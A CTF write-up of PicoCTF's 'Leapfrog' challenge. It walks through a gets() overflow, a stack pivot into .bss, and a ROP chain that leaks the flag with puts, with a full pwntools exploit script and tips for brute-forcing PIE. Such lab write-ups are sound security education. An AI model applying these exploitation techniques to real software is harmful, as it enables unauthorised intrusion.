[picoctf] Leapfrog


Leapfrog was a Binary Exploitation challenge during the recent PicoCTF. The challenge was worth 300 points, so in the mid to upper range of difficulty. My solution is a little unconventional since I didn't use the provided hints but it still led me to the right solution.

The challenge

In addition to the binary we were provided with the source code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
    win1 = true;
}

void leap2(unsigned int arg_check) {
    if (win3 && arg_check == 0xDEADBEEF) {
        win2 = true;
    }
    else if (win3) {
        printf("Wrong Argument. Try Again.\n");
    }
    else {
        printf("Nope. Try a little bit harder.\n");
    }
}

void leap3() {
    if (win1 && !win1) {
        win3 = true;
    }
    else {
        printf("Nope. Try a little bit harder.\n");
    }
}

void display_flag() {
    char flag[FLAG_SIZE];
    FILE *file;
    file = fopen("flag.txt", "r");
    if (file == NULL) {
        printf("'flag.txt' missing in the current directory!\n");
        exit(0);
    }

    fgets(flag, sizeof(flag), file);

    if (win1 && win2 && win3) {
        printf("%s", flag);
        return;
    }
    else if (win1 || win3) {
        printf("Nice Try! You're Getting There!\n");
    }
    else {
        printf("You won't get the flag that easy..\n");
    }
}

void vuln() {
    char buf[16];
    printf("Enter your input> ");
    return gets(buf);
}

int main(int argc, char **argv){

    setvbuf(stdout, NULL, _IONBF, 0);

    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    vuln();
}

It's pretty easy to spot what's going on. The vuln() function uses gets to read our input, so we can easily write as much data as we want to the stack, thus overwriting EIP. Our target is also pretty obvious: either get a shell or call the display_flag function. This function in turn has three conditions that have to be satisfied. The global variables win1, win2, win3 must be set to true. Fair enough.

We should also check what security measures are enabled:

Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Full

When we first did the challenge, PIE was actually enabled. This was a mistake by the challenge author and made the challenge even harder. Fun fact that error was later corrected by the author. For this writeup, let's assume you joined later and wanted to solve it without PIE. At the end, we will take a brief look how to defeat PIE.

Attack ideas

We can quickly rule out spawning a shell as the binary does not contain any int 0x80 gadgets. We could try to leak some Libc-addresses and jump to system directly, but that's more work than it's worth.

So, our plan is to call display_flag . Looking at the source to see how we can actually satisfy the three win conditions already shows something suspicious: To set win3 to True we would have to fulfill this condition if (win1 && !win1) . This looks very much like Schrödinger's branch condition, which means we have to jump into the function. Lets look at the disassembly of leap3 and see if the cat is still alive:

We can directly jump to 0x8048690 , assuming that EAX somehow contains the correct address to load the right offset. Which is a hell of an assumption anyway. But this lead's us to another problem. At the end of win3, there is an mov ebx, [ebp - 0x4] instruction followed by leave; ret; . But in the function we overflow, the saved ebp is stored directly above eip . So overwriting the stored instruction pointer, means overwriting the stored base pointer. No matter what, we can already predict that our exploit will outright destroy the stack management, like 1998 when the Undertaker threw Mankind off Hell In A Cell, and plummeted 16 ft through an announcer's table.

And since we would need to jump to at least 4 different places, we will encounter a stack pivot. Who am I kidding? The only thing we will encounter is a good old segfault. This means we can't just straight up supply our whole chain at once, because we would need to supply new input to a "new stack"at some point. Already getting some headache even thinking about our ropchain, we looked back at the display flag function to see if there is any way we can solve it without setting any win flags.

This is the disassembly of the display flag function (We are looking for ropgadgets, remember?). Nothing special. Except... The flag gets loaded first. Always. As soon as we call the function, the flag get's loaded onto the stack, and not zeroed out after the return. The win conditions only determine wether it is printed. So calling display_flag will load our flag on the stack, and leave the function with our target still in memory. Since we have to do a stack pivot anyway, why not just use this to load the flag at a known address and use puts to print it?

Implementing the Chain

At this point, just by reversing and without looking at any gadgets, our plan is as follows:

  • Pivot the stack into the .bss segment
  • Call display_flag to load the flag at a known address
  • Call puts

Exploit skeleton

From here on, we will continue to work directly on the exploit script, using the following skeleton:

from pwn import *

def launch_gdb(breakpoints=[], cmd=''):
    if args.NOPTRACE:
        return
    context.terminal = ['tilix', '-a', 'session-add-right', '-e']
    log.info("Attaching Debugger")
    cmds = 'handle SIGALRM ignore\n'
    for b in breakpoints:
        cmds += 'b *' + str(b) + '\n'
    cmds += cmd
    gdb.attach(io, gdbscript=cmds)

# Here be offsets

# Stage 0, start the process
io = process('./rop')

launch_gdb(breakpoints=[0x80487c8], cmd='c\n') # break at ret in vuln
io.recvuntil('input>')
# Stage 1 stack pivot
payload = 'A'*28
payload += 'BBBB'
io.sendline(payload)

print io.recvall()

This will just crash the program. Also note: I'm using tilix as an emulator, if you don't: replace line 6 by something fitting to your setup, or just delete it :)

Stack pivot

The first part is a stack pivot.

What is a stack pivot?
There are basically two registers to manage the stack: ebp and esp . ESP points to the end of the stack,and EBP points to the start of the current stack-frame. That's why you always see mov ebp, esp at the function start. Every function starts by building a new stack-frame that starts at the current top of the stack. At the end you will (almost) always see leave; ret . Leave is basically short for mov ebp, esp; pop ebp . So the top of the stack is "reset" to the start of the frame and the old base pointer (the start of the stack-frame of the function where the call originated) is restored. So how can we move the stack to a different data segment? Basically by just overwriting the stored EBP. Modifying the value in the EBP register will load it into ESP on the next leave , thus moving our whole stack to another address.

We have a special challenge in that we have to move the stack and still supply new input. As soon as the stack points into another data segment, the next return would try to read an address from there. So we can't just use leave; ret; , instead we have to:

  • call pop ebp
  • set up and jump to gets() and supply new input
  • jump to leave; ret; .

Luckily we can reuse parts of the code for the last two tasks. Looking at vuln again, following the code from address 0x80487b8 we can see that EBP gets dereferenced, and pushed onto the stack. Afterwards gets is called. And since we jumped into the middle of a function, we even get a free leave; ret; at the end. Perfect!

To find our pop ebp we just use ropper:

root@serenity:~/hax/pico2019/leapfrog# ropper --file rop_nopie --search "pop ebp" --type rop
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ebp

[INFO] File: rop_nopie
0x08048828: pop ebp; lea esp, [ecx - 4]; ret;
0x08048662: pop ebp; cld; leave; ret;
0x080485fb: pop ebp; ret;

The third one seems perfect. So, where do we pivot our stack? Well, you can use any not ASLR affected writable data segment, e.g. the .bss. You can find it either by looking in gdb during run-time:

gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/hax/pico2019/leapfrog/rop
0x08049000 0x0804a000 0x00000000 r-- /root/hax/pico2019/leapfrog/rop
0x0804a000 0x0804b000 0x00001000 rw- /root/hax/pico2019/leapfrog/rop

Or using objdump:

root@kali:~/hax/pico2019/leapfrog# objdump -h rop
[...]
22 .got.plt      00000034  0804a000  0804a000  00001000  2**2
              CONTENTS, ALLOC, LOAD, DATA
23 .data         00000008  0804a034  0804a034  00001034  2**2
                CONTENTS, ALLOC, LOAD, DATA
24 .bss          00000004  0804a03c  0804a03c  0000103c  2**0
                ALLOC

We just need to remember that the stack grows upwards against lower addresses. So we need our fake stack to start at a higher address, otherwise you will get random segfaults. Lets add Stage 1, the stack pivot, to our script:

[...]
# Here be offsets, most of them are from the binary, some are made up
bss = 0x0804a03c
pop_ebp = p32(0x080485fb)
new_stack = p32(bss + 0x900)
get_input = p32(0x80487b8)
io = process('./rop')

launch_gdb(breakpoints=[0x80487c8], cmd='c\n') # break at ret in vuln
io.recvuntil('input>')
# Stage 1 stack pivot
payload = 'A'*28
payload += pop_ebp
payload += new_stack
payload += get_input
io.sendline(payload)

io.interactive()

Running this until we hit gets and looking at the debugger shows the following:

As you can see, the first argument to gets is 0x0804a924 , which is new_stack - 0x18. This means our input will get loaded to that address. Also, and this is important to pivot, EBP now points to 0x0804a93c . So now the program wants new input. To understand what's going on, just type ni in gdb to continue, and input a bunch of 'A' into the program. I chose to input 28 'A's and 4 'B's ;)

Now type ni until you hit leave and observe the stack before. After leave your gdb should look like this:

ESP now points to 0x0804a940 . Why does it point directly to our 4 B's and not the start of our input string? Well, that's for you to figure out ;) But this means, any data that get's stored on the stack in some way, will now be at a known offset from our fake stack. This means we could for example leak addresses to libc. Or any other data ...

Loading the flag

Now, as we had originally planned, lets add a second stage to load our flag on the stack to our script:

io = process('./rop')

launch_gdb(breakpoints=[0x80487c8,0x8048790], cmd='c\n')
io.recvuntil('input>')
# Stage 1 stack pivot
payload = 'A'*28
payload += pop_ebp
payload += new_stack
payload += get_input
io.sendline(payload)

# Stage 2 Load flag
payload = 'A'*28
payload += display_flag
io.sendline(payloads)
io.interactive()

Running this in gdb until the end of display flag is shown below. Then we would need to return to our next gadget, but that one of course we haven't figured out yet so lets ignore that for now.

As we can see ESP has advanced (or gone back, because stack) another 4 bytes. Our EBP is obiously broken because we hit another leave , which loaded our last 4 'A's of the stage2 payload into EBP, but we don't care at this point. Just remember: If we encounter another leave , it will destroy our stack as it will try to load this value into ESP. Anyway, the point was to get the flag. I just created a txt file in the same folder named flag.txt, so let's look for our flag in memory:

gef➤  grep picoCTF
[+] Searching 'picoCTF' in memory
[+] In '/root/hax/pico2019/leapfrog/rop'(0x804a000-0x804b000), permission=rw-
0x804a8f4 - 0x804a92b  →   "picoCTF{THISISAREALLYLONGFLAGASDASDALKSJDKAHKJASHD[...]"
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
0x804c2d0 - 0x804c307  →   "picoCTF{THISISAREALLYLONGFLAGASDASDALKSJDKAHKJASHD[...]"

We can see that it's on our fake_stack and in the heap. The heap is pretty useless for us sine ASLR is enabled on the server and we can't predict this address at all. But the flag on our fake stack is pretty much all we need. You can run the program over and over again, it will always be at the same offset. The real stack will of course be at another address every time you run it, but the program itself will always be located at the same address. This means, we can just write this address down in our exploit script and accept it as a given.

Printing the flag

The last step is to get that flag out of memory and in our terminal. We have two functions conveniently linked in our binary: puts and printf . If you step through printf you will notice it needs an absurd amount of memory on the stack. And since our stack-size is pretty limited, let's just go with puts . We can use any puts call we want. E.g. from the GOT. But due to our stack magic you have to be careful what argument actually get's passed to puts .

As an excersise use puts@GOT instead of the call. See what argument is on top of the stack and if you can get the flag address there.

I recommend adding a breakpoint at puts and taking a look what's on top. To keep things simple, let's just reuse some of the program code, e.g. address 0x80486f1 :

This will just print whatever the top of the stack points to. Now it would be possible to get a clean exit, but then we would have to be more careful about registers like EBP. So meh. Putting things together in our script:

[...]
flag = p32(0x804a8f4)
puts = p32(0x80486f1)
[...]

# Stage 2 Load flag
payload = 'A'*28
payload += display_flag
payload += puts
payload += flag
io.sendline(payloads)
io.interactive()

Now call the script with NOPTRACE to skip the whole gdb shebang:

Well, whatever this is it's not the flag. That didn't work. Why?

I advise you to step through puts. Take a look at the stack addresses as it works it's magic and try to figure it out on your own.

Long story short: When we call puts our stack looks close to this:

+------------------------------+<-----+ BSS
|   Random Data (Static        |
|   Variables, old stack       |
|   frames etc                 |
+------------------------------+
|                              |
|  Somewhere here is the flag  |
|                              +<-----+ Old frame of
|                              |        display_flag
|                              |
+-------------------------------<-----+ ESP (Current
|                              |        top of stack)
|                              |
|                              |       EBP (Current
+------------------------------+<-----+Frame Base)

When we call puts we are in the last third of the diagram. Now puts want's its own stack frame of course. So it moves EBP to ESP, and starts writing memory to the stack as if it owned the land! This means, it will overwrite our flag on the stack. Now we have two options: Move the flag, or move the stack (No writeup without a dope rhyme btw). Moving the flag means getting the heap pointer somehow and printing from heap. Anyone here who want's to do this? Yeah, didn't think so. Moving the stack is something we've done before, but we can't properly call any function as it would do the same as puts and overwrite the flag in the process. But there is another way!

root@kali:~/hax/pico2019/leapfrog# ropper --file rop  --search "add esp" --type rop
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add esp

[INFO] File: rop
0x08048789: add esp, 0x10; mov ebx, dword ptr [ebp - 4]; leave; ret;
0x08048552: add esp, 0x10; leave; ret;
0x0804865d: add esp, 0x10; nop; mov ebx, dword ptr [ebp - 4]; leave; ret;
0x08048895: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret;
0x08048406: add esp, 8; pop ebx; ret;

Adding to the stack means moving ESP further down (Remember the stack grows upwards to lower addresses). So adding to ESP moves the whole thing away from our precious flag. And there is indeed one funny little gadget at 0x08048406 . It moves our stack 8 bytes away, and pops some value into EBX. But who cares about EBX? And since 8 bytes ain't a lot, we call that gadget like...many times? Look, I'm no scientist. I just throw stuff at my exploit until it works, OK?

[...]
flag = p32(0x804a8f4)
puts = p32(0x80486f1)
move_stack = p32(0x08048406) # add esp, 8; pop ebx; ret;
[...]

# Stage 2 Load flag
payload = 'A'*28
payload += display_flag
payload += (move_stack + 'A' * 12) * 20
payload += puts
payload += flag
io.sendline(payloads)
io.interactive()

So why move_stack + 'A' * 12 ? Step through and try to figure it out.... (Hint: 8+4). We simply repeat this 20 times as this will give us 160 bytes space for puts to work things out. The final exploit (I also added the remote stuff):

from pwn import *

def launch_gdb(breakpoints=[], cmd=''):
    if args.NOPTRACE:
        return
    context.terminal = ['tilix', '-a', 'session-add-right', '-e']
    log.info("Attaching Debugger")
    cmds = 'handle SIGALRM ignore\n'
    # cmds += 'set follow-fork-mode child'
    for b in breakpoints:
        cmds += 'b *' + str(b) + '\n'
    cmds += cmd
    gdb.attach(io, gdbscript=cmds)

# Here be Gadgets
pop_ebp = p32(0x080485fb)
bss = 0x0804a03c
new_stack = p32(bss + 0x900)
display_flag = p32(0x80486b3)
get_input = p32(0x80487b8)
flag = p32(0x804a8f4)
puts = p32(0x80486f1)
move_stack = p32(0x08048406) # add esp, 8; pop ebx; ret;

# Stage 0 Startup
if args.REMOTE:
    args.NOPTRACE = True # disable gdb when remote makes sense
    conn = ssh(host='2019shell1.picoctf.com',
        user='****',
        password='****')
    io = conn.process('./rop', cwd='/problems/leap-frog_6_772f62cb51a325a368a9d1563bf4058a')
else:
    io = process('./rop')
launch_gdb(breakpoints=[0x80487c8,0x8048790], cmd='c\n')
io.recvuntil('input>')

# Stage 1 stack pivot
payload = 'A'*28
payload += pop_ebp
payload += new_stack
payload += get_input
io.sendline(payload)

# Stage 2 Load flag and disply from fake stack
payload = 'A'*28
payload += display_flag
payload += (move_stack + 'A'*12)*20
payload += puts
payload += flag
io.sendline(payload)
print io.recvall()

There you go

Bonus: PIE

As I said during the intro of the challenge, when it was first released, the binary was position independent. That means, only 4 bytes of the address space was hardcoded, but the base at which the binary was loaded, was random. This increased the challenge quite a bit, and was later reverted. When we solved it, it was still enabled. Now, how do you go about it? Long story short: Just guess a reasonable address and run your exploit over and over again :D

Well, first develop your exploit as we did above. Just turn ASLR on your machine off [ echo 0 > /proc/sys/kernel/randomize_va_spce ] and instead of using hardcoded addresses make a global "base" variable. Code your gadgets as offset from the base. Since the binary is only 32Bit and 12 bits are used for the address, there isn't much left to guess. And even then, it's not completely random. You will notice the binary often get's loaded at an address starting with 0x55. So to defeat pie, just wrap your exploit in a loop, assume a reasonable address, and let it run over and over again :)

If you want to try it, here is the original PIE challenge: Leapfrog

Try to implement the exploit we did above for this binary (Attention: The gadgets will be at different offsets!), and wrap everything in a loop to defeat PIE. Hit me up on Twitter if you got any questions or remarks!